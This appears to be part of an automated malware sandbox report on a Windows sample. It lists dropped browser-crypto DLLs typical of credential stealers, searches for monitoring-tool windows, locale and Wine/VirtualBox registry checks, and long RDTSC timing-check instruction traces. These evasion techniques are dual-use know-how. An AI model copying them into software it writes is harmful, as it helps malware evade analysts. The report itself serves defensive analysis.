Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_01009860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58290

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125195E second address: 1251983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A698h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F0EB486A686h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDEE4 second address: 13DDEF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4708 second address: 13D4717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jnl 00007F0EB486A686h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCEBD second address: 13DCEF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D27h 0x00000007 jmp 00007F0EB4735D20h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F0EB4735D32h 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCEF1 second address: 13DCF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 js 00007F0EB486A692h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD04B second address: 13DD064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D1Fh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD064 second address: 13DD070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0EB486A686h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD070 second address: 13DD075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD075 second address: 13DD080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F0EB486A686h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD080 second address: 13DD086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD086 second address: 13DD093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD093 second address: 13DD0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D22h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0EB4735D24h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD1E8 second address: 13DD1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD355 second address: 13DD361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0EB4735D1Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFD76 second address: 13DFD8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0EB486A690h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFD8D second address: 13DFD91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFDF3 second address: 13DFE6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F0EB486A686h 0x0000000d jp 00007F0EB486A686h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 sub dword ptr [ebp+122D32DDh], ecx 0x0000001e push 00000000h 0x00000020 mov di, 7171h 0x00000024 call 00007F0EB486A689h 0x00000029 jmp 00007F0EB486A68Eh 0x0000002e push eax 0x0000002f jnl 00007F0EB486A69Fh 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F0EB486A695h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFE6A second address: 13DFEBB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push ecx 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push edi 0x0000001d jmp 00007F0EB4735D29h 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0EB4735D28h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFEBB second address: 13DFEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFEBF second address: 13DFF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D34FFh], ecx 0x0000000e push 00000003h 0x00000010 mov dword ptr [ebp+122D1918h], ecx 0x00000016 push 00000000h 0x00000018 cld 0x00000019 push 00000003h 0x0000001b xor dword ptr [ebp+122D1BE9h], edi 0x00000021 call 00007F0EB4735D19h 0x00000026 jmp 00007F0EB4735D1Fh 0x0000002b push eax 0x0000002c ja 00007F0EB4735D2Dh 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 jbe 00007F0EB4735D1Ah 0x0000003c push eax 0x0000003d pushad 0x0000003e popad 0x0000003f pop eax 0x00000040 mov eax, dword ptr [eax] 0x00000042 push edi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFF2B second address: 13DFF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DFF2F second address: 13DFF53 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0EB4735D27h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E002C second address: 13E0030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0030 second address: 13E0078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, dword ptr [ebp+122D1BDDh] 0x00000010 or dword ptr [ebp+122D19E0h], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F0EB4735D18h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 6FC85B41h 0x00000037 pushad 0x00000038 js 00007F0EB4735D1Ch 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0078 second address: 13E008C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0EB486A68Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E008C second address: 13E00CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 6FC85BC1h 0x0000000e mov edx, dword ptr [ebp+122D36BCh] 0x00000014 push 00000003h 0x00000016 clc 0x00000017 push 00000000h 0x00000019 mov cx, dx 0x0000001c mov cl, dh 0x0000001e push 00000003h 0x00000020 pushad 0x00000021 stc 0x00000022 mov cx, 9145h 0x00000026 popad 0x00000027 push F2603380h 0x0000002c pushad 0x0000002d jbe 00007F0EB4735D1Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 js 00007F0EB4735D16h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E00CD second address: 13E010A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 32603380h 0x00000012 mov esi, dword ptr [ebp+122D3598h] 0x00000018 lea ebx, dword ptr [ebp+12461CB1h] 0x0000001e and esi, dword ptr [ebp+122D3514h] 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0EB486A696h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E010A second address: 13E0110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0110 second address: 13E012C instructions: 0x00000000 rdtsc 0x00000002 je 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0EB486A68Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E018C second address: 13E01AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D29h 0x00000009 popad 0x0000000a push eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E01AF second address: 13E01F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 nop 0x00000007 jmp 00007F0EB486A68Ah 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F0EB486A688h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D33D4h], eax 0x0000002e clc 0x0000002f push 92B13E4Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push esi 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E01F4 second address: 13E0205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0205 second address: 13E0272 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 6D4EC234h 0x0000000f call 00007F0EB486A690h 0x00000014 or dword ptr [ebp+122D3472h], ecx 0x0000001a pop edx 0x0000001b push 00000003h 0x0000001d and dx, 4D00h 0x00000022 push 00000000h 0x00000024 mov ch, dh 0x00000026 push 00000003h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007F0EB486A688h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 sub dl, FFFFFFD7h 0x00000045 sub dword ptr [ebp+122D1BE9h], eax 0x0000004b call 00007F0EB486A689h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0272 second address: 13E0276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0276 second address: 13E027A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E027A second address: 13E0280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0280 second address: 13E0295 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e je 00007F0EB486A686h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0295 second address: 13E02BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F0EB4735D16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F0EB4735D21h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E02BF second address: 13E02C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E02C3 second address: 13E032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F0EB4735D1Dh 0x00000010 pop eax 0x00000011 jmp 00007F0EB4735D23h 0x00000016 lea ebx, dword ptr [ebp+12461CBCh] 0x0000001c sub si, 2A51h 0x00000021 xchg eax, ebx 0x00000022 jmp 00007F0EB4735D28h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F0EB4735D27h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401868 second address: 140186D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FF7B4 second address: 13FF7CA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0EB4735D16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jl 00007F0EB4735D16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFBC9 second address: 13FFBD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD61 second address: 13FFD67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD67 second address: 13FFD9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A691h 0x00000009 jmp 00007F0EB486A68Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0EB486A692h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD9D second address: 13FFDA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFEFA second address: 13FFF10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A690h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140008A second address: 1400093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400785 second address: 140078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140078A second address: 1400790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400790 second address: 140079D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14008F9 second address: 14008FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6102 second address: 13F6142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0EB486A696h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0EB486A696h 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 js 00007F0EB486A686h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1400A58 second address: 1400A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0EB4735D23h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140102B second address: 140102F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401440 second address: 1401452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F0EB4735D4Ah 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401452 second address: 1401471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0EB486A686h 0x0000000a jbe 00007F0EB486A686h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F0EB486A686h 0x00000019 jne 00007F0EB486A686h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401471 second address: 1401475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405DC8 second address: 1405DD2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405DD2 second address: 1405DE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0EB4735D1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406472 second address: 140648B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A695h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140648B second address: 1406491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1096 second address: 13D10DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A691h 0x00000007 jmp 00007F0EB486A693h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F0EB486A68Ah 0x00000014 jmp 00007F0EB486A68Dh 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D10DD second address: 13D1111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c jmp 00007F0EB4735D1Ah 0x00000011 jmp 00007F0EB4735D1Eh 0x00000016 jl 00007F0EB4735D16h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1111 second address: 13D1120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F0EB486A686h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E216 second address: 140E224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0EB4735D16h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4A0 second address: 140E4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0EB486A68Fh 0x0000000e jne 00007F0EB486A686h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4BE second address: 140E4C8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E4C8 second address: 140E4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0EB486A686h 0x0000000a rdtsc
